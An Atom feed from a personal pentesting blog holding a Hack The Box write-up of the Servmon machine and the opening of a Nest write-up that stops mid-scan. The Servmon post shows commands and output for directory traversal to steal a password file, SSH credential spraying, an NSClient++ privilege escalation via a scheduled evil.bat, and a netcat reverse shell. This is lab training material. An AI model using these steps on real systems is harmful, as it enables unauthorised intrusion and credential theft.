<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>Matheus Bratfisch</title>
 <link href="http://www.matbra.com/atom.xml" rel="self"/>
 <link href="http://www.matbra.com/"/>
 <updated>2020-08-24T19:08:14-05:00</updated>
 <id>http://www.matbra.com</id>
 <author>
   <name>Matheus Bratfisch</name>
   <email>matheusbrat@gmail.com</email>
 </author>

 
 <entry>
   <title>Hackthebox - Write up of Servmon machine</title>
   <link href="http://www.matbra.com/2020/08/24/hackthebox-write-up-servmon-machine.html"/>
   <updated>2020-08-24T00:00:00-05:00</updated>
   <id>http://www.matbra.com/2020/08/24/hackthebox-write-up-servmon-machine</id>
   <content type="html">&lt;p&gt;This time, let’s try to get root on Servmon machine from Hackthebox.&lt;/p&gt;

&lt;p&gt;Standard starting procedure: NMAP.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-T4&lt;/span&gt; 10.10.10.184
Starting Nmap 7.80 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2020-04-29 20:10 EDT
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.10.184 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;10.10.10.184&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.22s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 992 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5666/tcp open  nrpe
6699/tcp open  napster

Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: 1 IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;124.70 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Opening website as that has given good results while nmap runs again with -A.&lt;/p&gt;

&lt;p&gt;It seems there is a software called NVMS-1000 running there. Let’s google and see what that is about. On this search we can see it is vulnerable to a directory traversal. https://www.exploit-db.com/exploits/48311&lt;/p&gt;

&lt;p&gt;Keep this in mind and let’s take a look on ftp.&lt;/p&gt;

&lt;!--more--&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ftp 10.10.10.184 
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;10.10.10.184:kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: anonymous
331 Anonymous access allowed, send identity &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;e-mail name&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; as password.
Password:
230 User logged &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Remote system &lt;span class=&quot;nb&quot;&gt;type &lt;/span&gt;is Windows_NT.
ftp&amp;gt; &lt;span class=&quot;nb&quot;&gt;dir
&lt;/span&gt;200 PORT &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
125 Data connection already open&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Transfer starting.
01-18-20  12:05PM       &amp;lt;DIR&amp;gt;          Users
226 Transfer complete.
ftp&amp;gt; &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;Users
250 CWD &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
ftp&amp;gt; &lt;span class=&quot;nb&quot;&gt;dir
&lt;/span&gt;200 PORT &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
125 Data connection already open&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Transfer starting.
01-18-20  12:06PM       &amp;lt;DIR&amp;gt;          Nadine
01-18-20  12:08PM       &amp;lt;DIR&amp;gt;          Nathan
226 Transfer complete.
ftp&amp;gt; &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;Nadine
250 CWD &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
ftp&amp;gt; &lt;span class=&quot;nb&quot;&gt;dir
&lt;/span&gt;200 PORT &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
get 125 Data connection already open&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Transfer starting.
01-18-20  12:08PM                  174 Confidential.txt
226 Transfer complete.
ftp&amp;gt; get Confidential.txt
&lt;span class=&quot;nb&quot;&gt;local&lt;/span&gt;: Confidential.txt remote: Confidential.txt
200 PORT &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
125 Data connection already open&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Transfer starting.
226 Transfer complete.
174 bytes received &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;1.04 secs &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.1635 kB/s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ftp&amp;gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ..
250 CWD &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
ftp&amp;gt; &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;Nathan
&lt;span class=&quot;nb&quot;&gt;dir
&lt;/span&gt;250 CWD &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
ftp&amp;gt; &lt;span class=&quot;nb&quot;&gt;dir
&lt;/span&gt;200 PORT &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;successful.
150 Opening ASCII mode data connection.
01-18-20  12:10PM                  186 Notes to &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;.txt
226 Transfer complete.
ftp&amp;gt; get &lt;span class=&quot;s1&quot;&gt;'Notes to do.txt'&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;local&lt;/span&gt;: to remote: &lt;span class=&quot;s1&quot;&gt;'Notes
200 PORT command successful.
550 The system cannot find the file specified. 
ftp&amp;gt; get &quot;Notes to do.txt&quot;
local: Notes to do.txt remote: Notes to do.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
186 bytes received in 1.02 secs (0.1778 kB/s)
ftp&amp;gt; &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Checking file content:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;Notes&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;to&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;.txt 
1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Change the password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;NVMS - Complete
2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Lock down the NSClient Access - Complete
3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Upload the passwords
4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Remove public access to NVMS
5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Place the secret files &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;SharePoint

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;Confidential.txt 
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;OK. This sounds promising if we connect the traversal with this Password path hint we might be able to access the files. Lets use msfconsole&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/http/tvt_nvms_traversal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; search nvms

Matching Modules
&lt;span class=&quot;o&quot;&gt;================&lt;/span&gt;

   &lt;span class=&quot;c&quot;&gt;#  Name                                       Disclosure Date  Rank    Check  Description&lt;/span&gt;
   -  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;                                       &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;    &lt;span class=&quot;nt&quot;&gt;-----&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   0  auxiliary/scanner/http/tvt_nvms_traversal  2019-12-12       normal  No     TVT NVMS-1000 Directory Traversal


msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/http/tvt_nvms_traversal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; use 0
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/http/tvt_nvms_traversal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;rhosts 10.10.10.184
rhosts &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 10.10.10.184
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/http/tvt_nvms_traversal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;FILEPATH /Users/Nathan/Desktop/Passwords.txt
FILEPATH &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; /Users/Nathan/Desktop/Passwords.txt
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/http/tvt_nvms_traversal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; run

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] 10.10.10.184:80 - Downloaded 156 bytes
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] File saved &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;: /home/kali/.msf4/loot/20200519201005_default_10.10.10.184_nvms.traversal_218286.txt
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Scanned 1 of 1 hosts &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;100% &lt;span class=&quot;nb&quot;&gt;complete&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Auxiliary module execution completed
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/http/tvt_nvms_traversal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Checking the file content:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /home/kali/.msf4/loot/20200519201005_default_10.10.10.184_nvms.traversal_218286.txt
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;That’s a possible list of passwords I believe. We have two possible users:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nadine
nathan&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;With this password list, so we can use msfconsole with ssh_login to try them:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;msf5 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; search ssh_login

Matching Modules
&lt;span class=&quot;o&quot;&gt;================&lt;/span&gt;

   &lt;span class=&quot;c&quot;&gt;#  Name                                    Disclosure Date  Rank    Check  Description&lt;/span&gt;
   -  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;                                    &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;    &lt;span class=&quot;nt&quot;&gt;-----&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner


msf5 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; use 0
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/ssh/ssh_login&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; options

Module options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;auxiliary/scanner/ssh/ssh_login&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name              Current Setting  Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;              &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   BLANK_PASSWORDS   &lt;span class=&quot;nb&quot;&gt;false            &lt;/span&gt;no        Try blank passwords &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;all &lt;span class=&quot;nb&quot;&gt;users
   &lt;/span&gt;BRUTEFORCE_SPEED  5                &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      &lt;span class=&quot;nb&quot;&gt;false            &lt;/span&gt;no        Try each user/password couple stored &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the current database
   DB_ALL_PASS       &lt;span class=&quot;nb&quot;&gt;false            &lt;/span&gt;no        Add all passwords &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the current database to the list
   DB_ALL_USERS      &lt;span class=&quot;nb&quot;&gt;false            &lt;/span&gt;no        Add all &lt;span class=&quot;nb&quot;&gt;users &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target host&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, range CIDR identifier, or hosts file with syntax &lt;span class=&quot;s1&quot;&gt;'file:&amp;lt;path&amp;gt;'&lt;/span&gt;
   RPORT             22               &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target port
   STOP_ON_SUCCESS   &lt;span class=&quot;nb&quot;&gt;false            yes       &lt;/span&gt;Stop guessing when a credential works &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;a host
   THREADS           1                &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The number of concurrent threads &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;max one per host&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing &lt;span class=&quot;nb&quot;&gt;users &lt;/span&gt;and passwords separated by space, one pair per line
   USER_AS_PASS      &lt;span class=&quot;nb&quot;&gt;false            &lt;/span&gt;no        Try the username as the password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;all &lt;span class=&quot;nb&quot;&gt;users
   &lt;/span&gt;USER_FILE                          no        File containing usernames, one per line
   VERBOSE           &lt;span class=&quot;nb&quot;&gt;false            yes       &lt;/span&gt;Whether to print output &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;all attempts

msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/ssh/ssh_login&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;rhosts 10.10.10.184
rhosts &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 10.10.10.184
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/ssh/ssh_login&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;user_file users.txt
user_file &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; users.txt
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/ssh/ssh_login&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;pass_file passwords.txt
pass_file &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; passwords.txt
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/ssh/ssh_login&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; run

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] 10.10.10.184:22 - Success: &lt;span class=&quot;s1&quot;&gt;'nadine:L1k3B1gBut7s@W0rk'&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Command shell session 1 opened &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;10.10.16.87:44279 -&amp;gt; 10.10.10.184:22&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2020-05-19 20:14:31 &lt;span class=&quot;nt&quot;&gt;-0400&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Scanned 1 of 1 hosts &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;100% &lt;span class=&quot;nb&quot;&gt;complete&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Auxiliary module execution completed
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;scanner/ssh/ssh_login&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It found a valid credential. Perfect, lets access it on ssh. Keep in mind to always do some enumeration and look what exists on machine and what config it does have. If a service doesnt sound promising, check google and config. With this approach we can find
C:\Program Files\NSClient++\nsclient.ini&lt;/p&gt;

&lt;p&gt;It has an interesting part&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;&lt;span class=&quot;c&quot;&gt;; Undocumented key
&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ew2x6SsGTxjRwXOT&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;; Undocumented key
&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;allowed&lt;/span&gt; &lt;span class=&quot;py&quot;&gt;hosts&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;127.0.0.1&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;; Undocumented key
&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;WEBServer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;enabled&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After some more googling we can find out that WEBServer for NSClient by default listen on port 8443 so creating a tunnel which allow our localhost to access the other machine ip on that port with:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ssh &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; 8443:127.0.0.1:8443 nadine@10.10.10.184&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And open the website on my chrome instance. We can also see there is a Priv Esc for NSClient++ on https://www.exploit-db.com/exploits/46802
Usually this machines doesn’t need reboot but let’s try to follow the process more or less. It seems the machine is not that stable but after a few tries I was able to connect to 8443 and login.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Add script foobar to call evil.bat and save settings
- Settings &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; External Scripts &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; Scripts
- Add New
  - section: /settings/external scripts/scripts/foobar
  - key: &lt;span class=&quot;nb&quot;&gt;command&lt;/span&gt;
  - value: c:&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;emp&lt;span class=&quot;se&quot;&gt;\e&lt;/span&gt;vil.bat

Add schedulede to call script every 1 minute and save settings
- Settings &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; Scheduler &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; Schedules
- Add new
  - section: /settings/scheduler/schedules/foobar
  - key: interval
  - value: 1m
  - key: &lt;span class=&quot;nb&quot;&gt;command&lt;/span&gt;
  - value: foobar&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This was a bit painful to run, it didn’ t start automatically but when I opened: Console I saw a bunch of messages like:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Unknown &lt;span class=&quot;nb&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: foobar available commands: commands &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;, alias_cpu, alias_cpu_ex, alias_disk, alias_disk_loose, alias_event_log, alias_file_age, alias_file_size, alias_mem, alias_process, alias_process_count, alias_process_hung, alias_process_stopped, alias_sched_all, alias_sched_long, alias_sched_task, alias_service, alias_service_ex, alias_up, alias_volumes, alias_volumes_loose, check_tasksched, checktasksched, foobar&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;, plugins &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;, 0, 1&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;so I tried to call foobar directly and… I got a root shell on nc&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nc &lt;span class=&quot;nt&quot;&gt;-nlvvp&lt;/span&gt; 2443
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;kali: 
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 2443 ...
&lt;span class=&quot;nb&quot;&gt;whoami

&lt;/span&gt;connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.10.16.87] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.10.10.184] 50557
Microsoft Windows &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Version 10.0.18363.752]
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 2019 Microsoft Corporation. All rights reserved.

C:&lt;span class=&quot;se&quot;&gt;\P&lt;/span&gt;rogram Files&lt;span class=&quot;se&quot;&gt;\N&lt;/span&gt;SClient++&amp;gt;whoami
nt authority&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;ystem&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Hope you had fun,
Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Hackthebox - Write up of Nest machine</title>
   <link href="http://www.matbra.com/2020/06/19/hackthebox-write-up-nest-machine.html"/>
   <updated>2020-06-19T00:00:00-05:00</updated>
   <id>http://www.matbra.com/2020/06/19/hackthebox-write-up-nest-machine</id>
   <content type="html">&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;As you guys already know I have been studying pentest. Recently I signed up on hackthebox.eu and started doing some easy machines. 
This writeup will show the steps I have done to get user and root flag.&lt;/p&gt;

&lt;p&gt;I always start with nmap.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-T4&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Pn&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p-&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; 10.10.10.178
Starting Nmap 7.80 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2020-06-01 21:41 EDT
Initiating Parallel DNS resolution of 1 host. at 21:41
Completed Parallel DNS resolution of 1 host. at 21:41, 0.01s elapsed
Initiating Connect Scan at 21:41
Scanning 10.10.10.178 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;10.10.10.178&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;65535 ports]
Discovered open port 445/tcp on 10.10.10.178
Connect Scan Timing: About 3.75% &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; ETC: 21:55 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0:13:16 remaining&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Connect Scan Timing: About 16.48% &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; ETC: 21:47 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0:05:09 remaining&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
